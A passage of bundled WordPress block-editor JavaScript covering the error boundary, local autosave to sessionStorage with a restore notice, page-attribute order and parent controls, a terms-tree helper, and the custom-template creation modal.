      alignment: "baseline",
      spacing: 4,
      justify: "space-between",
      expanded: false,
      wrap: true,
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
        as: "p",
        children: (0,external_wp_i18n_namespaceObject.__)('The editor has encountered an unexpected error.')
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
        expanded: false,
        children: [canCopyContent && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CopyButton, {
          text: getContent,
          children: (0,external_wp_i18n_namespaceObject.__)('Copy contents')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CopyButton, {
          variant: "primary",
          text: error?.stack,
          children: (0,external_wp_i18n_namespaceObject.__)('Copy error')
        })]
      })]
    });
  }
}

/**
 * ErrorBoundary is used to catch JavaScript errors anywhere in a child component tree, log those errors, and display a fallback UI.
 *
 * It uses the lifecycle methods getDerivedStateFromError and componentDidCatch to catch errors in a child component tree.
 *
 * getDerivedStateFromError is used to render a fallback UI after an error has been thrown, and componentDidCatch is used to log error information.
 *
 * @class ErrorBoundary
 * @augments Component
 */
/* harmony default export */ const error_boundary = (ErrorBoundary);

;// ./node_modules/@wordpress/editor/build-module/components/local-autosave-monitor/index.js
/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */




const requestIdleCallback = window.requestIdleCallback ? window.requestIdleCallback : window.requestAnimationFrame;
let hasStorageSupport;

/**
 * Function which returns true if the current environment supports browser
 * sessionStorage, or false otherwise. The result of this function is cached and
 * reused in subsequent invocations.
 */
const hasSessionStorageSupport = () => {
  if (hasStorageSupport !== undefined) {
    return hasStorageSupport;
  }
  try {
    // Private Browsing in Safari 10 and earlier will throw an error when
    // attempting to set into sessionStorage. The test here is intentional in
    // causing a thrown error as condition bailing from local autosave.
    window.sessionStorage.setItem('__wpEditorTestSessionStorage', '');
    window.sessionStorage.removeItem('__wpEditorTestSessionStorage');
    hasStorageSupport = true;
  } catch {
    hasStorageSupport = false;
  }
  return hasStorageSupport;
};

/**
 * Custom hook which manages the creation of a notice prompting the user to
 * restore a local autosave, if one exists.
 */
function useAutosaveNotice() {
  const {
    postId,
    isEditedPostNew,
    hasRemoteAutosave
  } = (0,external_wp_data_namespaceObject.useSelect)(select => ({
    postId: select(store_store).getCurrentPostId(),
    isEditedPostNew: select(store_store).isEditedPostNew(),
    hasRemoteAutosave: !!select(store_store).getEditorSettings().autosave
  }), []);
  const {
    getEditedPostAttribute
  } = (0,external_wp_data_namespaceObject.useSelect)(store_store);
  const {
    createWarningNotice,
    removeNotice
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
  const {
    editPost,
    resetEditorBlocks
  } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    let localAutosave = localAutosaveGet(postId, isEditedPostNew);
    if (!localAutosave) {
      return;
    }
    try {
      localAutosave = JSON.parse(localAutosave);
    } catch {
      // Not usable if it can't be parsed.
      return;
    }
    const {
      post_title: title,
      content,
      excerpt
    } = localAutosave;
    const edits = {
      title,
      content,
      excerpt
    };
    {
      // Only display a notice if there is a difference between what has been
      // saved and that which is stored in sessionStorage.
      const hasDifference = Object.keys(edits).some(key => {
        return edits[key] !== getEditedPostAttribute(key);
      });
      if (!hasDifference) {
        // If there is no difference, it can be safely ejected from storage.
        localAutosaveClear(postId, isEditedPostNew);
        return;
      }
    }
    if (hasRemoteAutosave) {
      return;
    }
    const id = 'wpEditorAutosaveRestore';
    createWarningNotice((0,external_wp_i18n_namespaceObject.__)('The backup of this post in your browser is different from the version below.'), {
      id,
      actions: [{
        label: (0,external_wp_i18n_namespaceObject.__)('Restore the backup'),
        onClick() {
          const {
            content: editsContent,
            ...editsWithoutContent
          } = edits;
          editPost(editsWithoutContent);
          resetEditorBlocks((0,external_wp_blocks_namespaceObject.parse)(edits.content));
          removeNotice(id);
        }
      }]
    });
  }, [isEditedPostNew, postId]);
}

/**
 * Custom hook which ejects a local autosave after a successful save occurs.
 */
function useAutosavePurge() {
  const {
    postId,
    isEditedPostNew,
    isDirty,
    isAutosaving,
    didError
  } = (0,external_wp_data_namespaceObject.useSelect)(select => ({
    postId: select(store_store).getCurrentPostId(),
    isEditedPostNew: select(store_store).isEditedPostNew(),
    isDirty: select(store_store).isEditedPostDirty(),
    isAutosaving: select(store_store).isAutosavingPost(),
    didError: select(store_store).didPostSaveRequestFail()
  }), []);
  const lastIsDirtyRef = (0,external_wp_element_namespaceObject.useRef)(isDirty);
  const lastIsAutosavingRef = (0,external_wp_element_namespaceObject.useRef)(isAutosaving);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    if (!didError && (lastIsAutosavingRef.current && !isAutosaving || lastIsDirtyRef.current && !isDirty)) {
      localAutosaveClear(postId, isEditedPostNew);
    }
    lastIsDirtyRef.current = isDirty;
    lastIsAutosavingRef.current = isAutosaving;
  }, [isDirty, isAutosaving, didError]);

  // Once the isEditedPostNew changes from true to false, let's clear the auto-draft autosave.
  const wasEditedPostNew = (0,external_wp_compose_namespaceObject.usePrevious)(isEditedPostNew);
  const prevPostId = (0,external_wp_compose_namespaceObject.usePrevious)(postId);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    if (prevPostId === postId && wasEditedPostNew && !isEditedPostNew) {
      localAutosaveClear(postId, true);
    }
  }, [isEditedPostNew, postId]);
}
function LocalAutosaveMonitor() {
  const {
    autosave
  } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
  const deferredAutosave = (0,external_wp_element_namespaceObject.useCallback)(() => {
    requestIdleCallback(() => autosave({
      local: true
    }));
  }, []);
  useAutosaveNotice();
  useAutosavePurge();
  const localAutosaveInterval = (0,external_wp_data_namespaceObject.useSelect)(select => select(store_store).getEditorSettings().localAutosaveInterval, []);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(autosave_monitor, {
    interval: localAutosaveInterval,
    autosave: deferredAutosave
  });
}

/**
 * Monitors local autosaves of a post in the editor.
 * It uses several hooks and functions to manage autosave behavior:
 * - `useAutosaveNotice` hook: Manages the creation of a notice prompting the user to restore a local autosave, if one exists.
 * - `useAutosavePurge` hook: Ejects a local autosave after a successful save occurs.
 * - `hasSessionStorageSupport` function: Checks if the current environment supports browser sessionStorage.
 * - `LocalAutosaveMonitor` component: Uses the `AutosaveMonitor` component to perform autosaves at a specified interval.
 *
 * The module also checks for sessionStorage support and conditionally exports the `LocalAutosaveMonitor` component based on that.
 *
 * @module LocalAutosaveMonitor
 */
/* harmony default export */ const local_autosave_monitor = ((0,external_wp_compose_namespaceObject.ifCondition)(hasSessionStorageSupport)(LocalAutosaveMonitor));

;// ./node_modules/@wordpress/editor/build-module/components/page-attributes/check.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */


/**
 * Wrapper component that renders its children only if the post type supports page attributes.
 *
 * @param {Object}          props          - The component props.
 * @param {React.ReactNode} props.children - The child components to render.
 *
 * @return {React.ReactNode} The rendered child components or null if page attributes are not supported.
 */
function PageAttributesCheck({
  children
}) {
  const supportsPageAttributes = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEditedPostAttribute
    } = select(store_store);
    const {
      getPostType
    } = select(external_wp_coreData_namespaceObject.store);
    const postType = getPostType(getEditedPostAttribute('type'));
    return !!postType?.supports?.['page-attributes'];
  }, []);

  // Only render fields if post type supports page attributes or available templates exist.
  if (!supportsPageAttributes) {
    return null;
  }
  return children;
}
/* harmony default export */ const page_attributes_check = (PageAttributesCheck);

;// ./node_modules/@wordpress/editor/build-module/components/post-type-support-check/index.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */


/**
 * A component which renders its own children only if the current editor post
 * type supports one of the given `supportKeys` prop.
 *
 * @param {Object}            props             Props.
 * @param {React.ReactNode}   props.children    Children to be rendered if post
 *                                              type supports.
 * @param {(string|string[])} props.supportKeys String or string array of keys
 *                                              to test.
 *
 * @return {React.ReactNode} The component to be rendered.
 */
function PostTypeSupportCheck({
  children,
  supportKeys
}) {
  const postType = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEditedPostAttribute
    } = select(store_store);
    const {
      getPostType
    } = select(external_wp_coreData_namespaceObject.store);
    return getPostType(getEditedPostAttribute('type'));
  }, []);
  let isSupported = !!postType;
  if (postType) {
    isSupported = (Array.isArray(supportKeys) ? supportKeys : [supportKeys]).some(key => !!postType.supports[key]);
  }
  if (!isSupported) {
    return null;
  }
  return children;
}
/* harmony default export */ const post_type_support_check = (PostTypeSupportCheck);

;// ./node_modules/@wordpress/editor/build-module/components/page-attributes/order.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */



function PageAttributesOrder() {
  const order = (0,external_wp_data_namespaceObject.useSelect)(select => {
    var _select$getEditedPost;
    return (_select$getEditedPost = select(store_store).getEditedPostAttribute('menu_order')) !== null && _select$getEditedPost !== void 0 ? _select$getEditedPost : 0;
  }, []);
  const {
    editPost
  } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
  const [orderInput, setOrderInput] = (0,external_wp_element_namespaceObject.useState)(null);
  const setUpdatedOrder = value => {
    setOrderInput(value);
    const newOrder = Number(value);
    if (Number.isInteger(newOrder) && value.trim?.() !== '') {
      editPost({
        menu_order: newOrder
      });
    }
  };
  const value = orderInput !== null && orderInput !== void 0 ? orderInput : order;
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Flex, {
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexBlock, {
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalNumberControl, {
        __next40pxDefaultSize: true,
        label: (0,external_wp_i18n_namespaceObject.__)('Order'),
        help: (0,external_wp_i18n_namespaceObject.__)('Set the page order.'),
        value: value,
        onChange: setUpdatedOrder,
        hideLabelFromVision: true,
        onBlur: () => {
          setOrderInput(null);
        }
      })
    })
  });
}

/**
 * Renders the Page Attributes Order component. A number input in an editor interface
 * for setting the order of a given page.
 * The component is now not used in core but was kept for backward compatibility.
 *
 * @return {React.ReactNode} The rendered component.
 */
function PageAttributesOrderWithChecks() {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_type_support_check, {
    supportKeys: "page-attributes",
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PageAttributesOrder, {})
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/post-panel-row/index.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */



const PostPanelRow = (0,external_wp_element_namespaceObject.forwardRef)(({
  className,
  label,
  children
}, ref) => {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
    className: dist_clsx('editor-post-panel__row', className),
    ref: ref,
    children: [label && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: "editor-post-panel__row-label",
      children: label
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: "editor-post-panel__row-control",
      children: children
    })]
  });
});
/* harmony default export */ const post_panel_row = (PostPanelRow);

;// ./node_modules/@wordpress/editor/build-module/utils/terms.js
/**
 * WordPress dependencies
 */


/**
 * Returns terms in a tree form.
 *
 * @param {Array} flatTerms Array of terms in flat format.
 *
 * @return {Array} Array of terms in tree format.
 */
function terms_buildTermsTree(flatTerms) {
  const flatTermsWithParentAndChildren = flatTerms.map(term => {
    return {
      children: [],
      parent: undefined,
      ...term
    };
  });

  // All terms should have a `parent` because we're about to index them by it.
  if (flatTermsWithParentAndChildren.some(({
    parent
  }) => parent === undefined)) {
    return flatTermsWithParentAndChildren;
  }
  const termsByParent = flatTermsWithParentAndChildren.reduce((acc, term) => {
    const {
      parent
    } = term;
    if (!acc[parent]) {
      acc[parent] = [];
    }
    acc[parent].push(term);
    return acc;
  }, {});
  const fillWithChildren = terms => {
    return terms.map(term => {
      const children = termsByParent[term.id];
      return {
        ...term,
        children: children && children.length ? fillWithChildren(children) : []
      };
    });
  };
  return fillWithChildren(termsByParent['0'] || []);
}
const unescapeString = arg => {
  return (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(arg);
};

/**
 * Returns a term object with name unescaped.
 *
 * @param {Object} term The term object to unescape.
 *
 * @return {Object} Term object with name property unescaped.
 */
const unescapeTerm = term => {
  return {
    ...term,
    name: unescapeString(term.name)
  };
};

/**
 * Returns an array of term objects with names unescaped.
 * The unescape of each term is performed using the unescapeTerm function.
 *
 * @param {Object[]} terms Array of term objects to unescape.
 *
 * @return {Object[]} Array of term objects unescaped.
 */
const unescapeTerms = terms => {
  return (terms !== null && terms !== void 0 ? terms : []).map(unescapeTerm);
};

;// ./node_modules/@wordpress/editor/build-module/components/page-attributes/parent.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */










/**
 * Internal dependencies
 */




function getTitle(post) {
  return post?.title?.rendered ? (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(post.title.rendered) : `#${post.id} (${(0,external_wp_i18n_namespaceObject.__)('no title')})`;
}
const parent_getItemPriority = (name, searchValue) => {
  const normalizedName = remove_accents_default()(name || '').toLowerCase();
  const normalizedSearch = remove_accents_default()(searchValue || '').toLowerCase();
  if (normalizedName === normalizedSearch) {
    return 0;
  }
  if (normalizedName.startsWith(normalizedSearch)) {
    return normalizedName.length;
  }
  return Infinity;
};

/**
 * Renders the Page Attributes Parent component. A dropdown menu in an editor interface
 * for selecting the parent page of a given page.
 *
 * @return {React.ReactNode} The component to be rendered. Return null if post type is not hierarchical.
 */
function parent_PageAttributesParent() {
  const {
    editPost
  } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
  const [fieldValue, setFieldValue] = (0,external_wp_element_namespaceObject.useState)(false);
  const {
    isHierarchical,
    parentPostId,
    parentPostTitle,
    pageItems,
    isLoading
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    var _pType$hierarchical;
    const {
      getPostType,
      getEntityRecords,
      getEntityRecord,
      isResolving
    } = select(external_wp_coreData_namespaceObject.store);
    const {
      getCurrentPostId,
      getEditedPostAttribute
    } = select(store_store);
    const postTypeSlug = getEditedPostAttribute('type');
    const pageId = getEditedPostAttribute('parent');
    const pType = getPostType(postTypeSlug);
    const postId = getCurrentPostId();
    const postIsHierarchical = (_pType$hierarchical = pType?.hierarchical) !== null && _pType$hierarchical !== void 0 ? _pType$hierarchical : false;
    const query = {
      per_page: 100,
      exclude: postId,
      parent_exclude: postId,
      orderby: 'menu_order',
      order: 'asc',
      _fields: 'id,title,parent'
    };

    // Perform a search when the field is changed.
    if (!!fieldValue) {
      query.search = fieldValue;
    }
    const parentPost = pageId ? getEntityRecord('postType', postTypeSlug, pageId) : null;
    return {
      isHierarchical: postIsHierarchical,
      parentPostId: pageId,
      parentPostTitle: parentPost ? getTitle(parentPost) : '',
      pageItems: postIsHierarchical ? getEntityRecords('postType', postTypeSlug, query) : null,
      isLoading: postIsHierarchical ? isResolving('getEntityRecords', ['postType', postTypeSlug, query]) : false
    };
  }, [fieldValue]);
  const parentOptions = (0,external_wp_element_namespaceObject.useMemo)(() => {
    const getOptionsFromTree = (tree, level = 0) => {
      const mappedNodes = tree.map(treeNode => [{
        value: treeNode.id,
        label: '— '.repeat(level) + (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(treeNode.name),
        rawName: treeNode.name
      }, ...getOptionsFromTree(treeNode.children || [], level + 1)]);
      const sortedNodes = mappedNodes.sort(([a], [b]) => {
        const priorityA = parent_getItemPriority(a.rawName, fieldValue);
        const priorityB = parent_getItemPriority(b.rawName, fieldValue);
        return priorityA >= priorityB ? 1 : -1;
      });
      return sortedNodes.flat();
    };
    if (!pageItems) {
      return [];
    }
    let tree = pageItems.map(item => ({
      id: item.id,
      parent: item.parent,
      name: getTitle(item)
    }));

    // Only build a hierarchical tree when not searching.
    if (!fieldValue) {
      tree = terms_buildTermsTree(tree);
    }
    const opts = getOptionsFromTree(tree);

    // Ensure the current parent is in the options list.
    const optsHasParent = opts.find(item => item.value === parentPostId);
    if (parentPostTitle && !optsHasParent) {
      opts.unshift({
        value: parentPostId,
        label: parentPostTitle
      });
    }
    return opts;
  }, [pageItems, fieldValue, parentPostTitle, parentPostId]);
  if (!isHierarchical) {
    return null;
  }
  /**
   * Handle user input.
   *
   * @param {string} inputValue The current value of the input field.
   */
  const handleKeydown = inputValue => {
    setFieldValue(inputValue);
  };

  /**
   * Handle author selection.
   *
   * @param {Object} selectedPostId The selected Author.
   */
  const handleChange = selectedPostId => {
    editPost({
      parent: selectedPostId
    });
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ComboboxControl, {
    __nextHasNoMarginBottom: true,
    __next40pxDefaultSize: true,
    className: "editor-page-attributes__parent",
    label: (0,external_wp_i18n_namespaceObject.__)('Parent'),
    help: (0,external_wp_i18n_namespaceObject.__)('Choose a parent page.'),
    value: parentPostId,
    options: parentOptions,
    onFilterValueChange: (0,external_wp_compose_namespaceObject.debounce)(handleKeydown, 300),
    onChange: handleChange,
    hideLabelFromVision: true,
    isLoading: isLoading
  });
}
function PostParentToggle({
  isOpen,
  onClick
}) {
  const parentPost = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEditedPostAttribute
    } = select(store_store);
    const parentPostId = getEditedPostAttribute('parent');
    if (!parentPostId) {
      return null;
    }
    const {
      getEntityRecord
    } = select(external_wp_coreData_namespaceObject.store);
    const postTypeSlug = getEditedPostAttribute('type');
    return getEntityRecord('postType', postTypeSlug, parentPostId);
  }, []);
  const parentTitle = (0,external_wp_element_namespaceObject.useMemo)(() => !parentPost ? (0,external_wp_i18n_namespaceObject.__)('None') : getTitle(parentPost), [parentPost]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
    size: "compact",
    className: "editor-post-parent__panel-toggle",
    variant: "tertiary",
    "aria-expanded": isOpen,
    "aria-label":
    // translators: %s: Current post parent.
    (0,external_wp_i18n_namespaceObject.sprintf)((0,external_wp_i18n_namespaceObject.__)('Change parent: %s'), parentTitle),
    onClick: onClick,
    children: parentTitle
  });
}
function ParentRow() {
  const homeUrl = (0,external_wp_data_namespaceObject.useSelect)(select => {
    // Site index.
    return select(external_wp_coreData_namespaceObject.store).getEntityRecord('root', '__unstableBase')?.home;
  }, []);
  // Use internal state instead of a ref to make sure that the component
  // re-renders when the popover's anchor updates.
  const [popoverAnchor, setPopoverAnchor] = (0,external_wp_element_namespaceObject.useState)(null);
  // Memoize popoverProps to avoid returning a new object every time.
  const popoverProps = (0,external_wp_element_namespaceObject.useMemo)(() => ({
    // Anchor the popover to the middle of the entire row so that it doesn't
    // move around when the label changes.
    anchor: popoverAnchor,
    placement: 'left-start',
    offset: 36,
    shift: true
  }), [popoverAnchor]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_panel_row, {
    label: (0,external_wp_i18n_namespaceObject.__)('Parent'),
    ref: setPopoverAnchor,
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Dropdown, {
      popoverProps: popoverProps,
      className: "editor-post-parent__panel-dropdown",
      contentClassName: "editor-post-parent__panel-dialog",
      focusOnMount: true,
      renderToggle: ({
        isOpen,
        onToggle
      }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostParentToggle, {
        isOpen: isOpen,
        onClick: onToggle
      }),
      renderContent: ({
        onClose
      }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
        className: "editor-post-parent",
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.__experimentalInspectorPopoverHeader, {
          title: (0,external_wp_i18n_namespaceObject.__)('Parent'),
          onClose: onClose
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
          children: [(0,external_wp_element_namespaceObject.createInterpolateElement)((0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: The home URL of the WordPress installation without the scheme. */
          (0,external_wp_i18n_namespaceObject.__)('Child pages inherit characteristics from their parent, such as URL structure. For instance, if "Pricing" is a child of "Services", its URL would be %s<wbr />/services<wbr />/pricing.'), (0,external_wp_url_namespaceObject.filterURLForDisplay)(homeUrl).replace(/([/.])/g, '<wbr />$1')), {
            wbr: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("wbr", {})
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
            children: (0,external_wp_element_namespaceObject.createInterpolateElement)((0,external_wp_i18n_namespaceObject.__)('They also show up as sub-items in the default navigation menu. <a>Learn more.</a>'), {
              a: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ExternalLink, {
                href: (0,external_wp_i18n_namespaceObject.__)('https://wordpress.org/documentation/article/page-post-settings-sidebar/#page-attributes')
              })
            })
          })]
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(parent_PageAttributesParent, {})]
      })
    })
  });
}
/* harmony default export */ const page_attributes_parent = (parent_PageAttributesParent);

;// ./node_modules/@wordpress/editor/build-module/components/page-attributes/panel.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */




const PANEL_NAME = 'page-attributes';
function AttributesPanel() {
  const {
    isEnabled,
    postType
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEditedPostAttribute,
      isEditorPanelEnabled
    } = select(store_store);
    const {
      getPostType
    } = select(external_wp_coreData_namespaceObject.store);
    return {
      isEnabled: isEditorPanelEnabled(PANEL_NAME),
      postType: getPostType(getEditedPostAttribute('type'))
    };
  }, []);
  if (!isEnabled || !postType) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ParentRow, {});
}

/**
 * Renders the Page Attributes Panel component.
 *
 * @return {React.ReactNode} The rendered component.
 */
function PageAttributesPanel() {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(page_attributes_check, {
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(AttributesPanel, {})
  });
}

;// ./node_modules/@wordpress/icons/build-module/library/add-template.js
/**
 * WordPress dependencies
 */


const addTemplate = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  viewBox: "0 0 24 24",
  xmlns: "http://www.w3.org/2000/svg",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    fillRule: "evenodd",
    clipRule: "evenodd",
    d: "M18.5 5.5V8H20V5.5H22.5V4H20V1.5H18.5V4H16V5.5H18.5ZM13.9624 4H6C4.89543 4 4 4.89543 4 6V18C4 19.1046 4.89543 20 6 20H18C19.1046 20 20 19.1046 20 18V10.0391H18.5V18C18.5 18.2761 18.2761 18.5 18 18.5H10L10 10.4917L16.4589 10.5139L16.4641 9.01389L5.5 8.97618V6C5.5 5.72386 5.72386 5.5 6 5.5H13.9624V4ZM5.5 10.4762V18C5.5 18.2761 5.72386 18.5 6 18.5H8.5L8.5 10.4865L5.5 10.4762Z"
  })
});
/* harmony default export */ const add_template = (addTemplate);

;// ./node_modules/@wordpress/editor/build-module/components/post-template/create-new-template-modal.js
/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */



const DEFAULT_TITLE = (0,external_wp_i18n_namespaceObject.__)('Custom Template');
function CreateNewTemplateModal({
  onClose
}) {
  const {
    defaultBlockTemplate,
    onNavigateToEntityRecord
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEditorSettings,
      getCurrentTemplateId
    } = select(store_store);
    return {
      defaultBlockTemplate: getEditorSettings().defaultBlockTemplate,
      onNavigateToEntityRecord: getEditorSettings().onNavigateToEntityRecord,
      getTemplateId: getCurrentTemplateId
    };
  });
  const {
    createTemplate
  } = unlock((0,external_wp_data_namespaceObject.useDispatch)(store_store));
  const [title, setTitle] = (0,external_wp_element_namespaceObject.useState)('');
  const [isBusy, setIsBusy] = (0,external_wp_element_namespaceObject.useState)(false);
  const cancel = () => {
    setTitle('');
    onClose();
  };
  const submit = async event => {
    event.preventDefault();
    if (isBusy) {
      return;
    }
    setIsBusy(true);
    const newTemplateContent = defaultBlockTemplate !== null && defaultBlockTemplate !== void 0 ? defaultBlockTemplate : (0,external_wp_blocks_namespaceObject.serialize)([(0,external_wp_blocks_namespaceObject.createBlock)('core/group', {
      tagName: 'header',
      layout: {
        inherit: true
      }
    }, [(0,external_wp_blocks_namespaceObject.createBlock)('core/site-title'), (0,external_wp_blocks_namespaceObject.createBlock)('core/site-tagline')]), (0,external_wp_blocks_namespaceObject.createBlock)('core/separator'), (0,external_wp_blocks_namespaceObject.createBlock)('core/group', {
      tagName: 'main'
    }, [(0,external_wp_blocks_namespaceObject.createBlock)('core/group', {
      layout: {
        inherit: true
      }
    }, [(0,external_wp_blocks_namespaceObject.createBlock)('core/post-title')]), (0,external_wp_blocks_namespaceObject.createBlock)('core/post-content', {
      layout: {
        inherit: true
      }
    })])]);
    const newTemplate = await createTemplate({
      slug: (0,external_wp_url_namespaceObject.cleanForSlug)(title || DEFAULT_TITLE),
      content: newTemplateContent,
      title: title || DEFAULT_TITLE
    });
    setIsBusy(false);
    onNavigateToEntityRecord({
      postId: newTemplate.id,
      postType: 'wp_template'
    });
    cancel();
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Modal, {
    title: (0,external_wp_i18n_namespaceObject.__)('Create custom template'),
    onRequestClose: cancel,
    focusOnMount: "firstContentElement",
    size: "small",
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("form", {
      className: "editor-post-template__create-form",
      onSubmit: submit,
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
        spacing: "3",
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.TextControl, {
          __next40pxDefaultSize: true,
          __nextHasNoMarginBottom: true,
          label: (0,external_wp_i18n_namespaceObject.__)('Name'),
          value: title,
          onChange: setTitle,
          placeholder: DEFAULT_TITLE,
          disabled: isBusy,
          help: (0,external_wp_i18n_namespaceObject.__)(
          // eslint-disable-next-line no-restricted-syntax -- 'sidebar' is a common web design term for layouts
          'Describe the template, e.g. "Post with sidebar". A custom template can be manually applied to any post or page.')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
          justify: "right",
          children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
            __next40pxDefaultSize: true,
            variant: "tertiary",
            onClick: cancel,
            children: (0,external_wp_i18n_namespaceObject.__)('Cancel')
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
            __next40pxDefaultSize: true,
            variant: "primary",
            type: "submit",
            isBusy: isBusy,
            "aria-disabled": isBusy,
            children: (0,external_wp_i18n_namespaceObject.__)('Create')
          })]
        })]
      })
    })
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/post-template/hooks.js
/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */

function useEditedPostContext() {
  return (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getCurrentPostId,
      getCurrentPostType
    } = select(store_store);
    return {
      postId: getCurrentPostId(),
      postType: getCurrentPostType()
    };
  }, []);
}
function useAllowSwitchingTemplates() {
  const {
    postType,
    postId
  } = useEditedPostContext();
  return (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      canUser,
      getEntityRecord,
      getEntityRecords
    } = select(external_wp_coreData_namespaceObject.store);
    const siteSettings = canUser('read', {
      kind: 'root',
      name: 'site'
    }) ? getEntityRecord('root', 'site') : undefined;
    const templates = getEntityRecords('postType', 'wp_template', {
      per_page: -1
    });
    const isPostsPage = +postId === siteSettings?.page_for_posts;
    // If current page is set front page or posts page, we also need
    // to check if the current theme has a template for it. If not
    const isFrontPage = postType === 'page' && +postId === siteSettings?.page_on_front && templates?.some(({
      slug
    }) => slug === 'front-page');
    return !isPostsPage && !isFrontPage;
  }, [postId, postType]);
}
function useTemplates(postType) {
  return (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_coreData_namespaceObject.store).getEntityRecords('postType', 'wp_template', {
    per_page: -1,
    post_type: postType
  }), [postType]);
}
function useAvailableTemplates(postType) {
  const currentTemplateSlug = useCurrentTemplateSlug();
  const allowSwitchingTemplate = useAllowSwitchingTemplates();
  const templates = useTemplates(postType);
  return (0,external_wp_element_namespaceObject.useMemo)(() => allowSwitchingTemplate && templates?.filter(template => template.is_custom && template.slug !== currentTemplateSlug && !!template.content.raw // Skip empty templates.
  ), [templates, currentTemplateSlug, allowSwitchingTemplate]);
}
function useCurrentTemplateSlug() {
  const {
    postType,
    postId
  } = useEditedPostContext();
  const templates = useTemplates(postType);
  const entityTemplate = (0,external_wp_data_namespaceObject.useSelect)(select => {
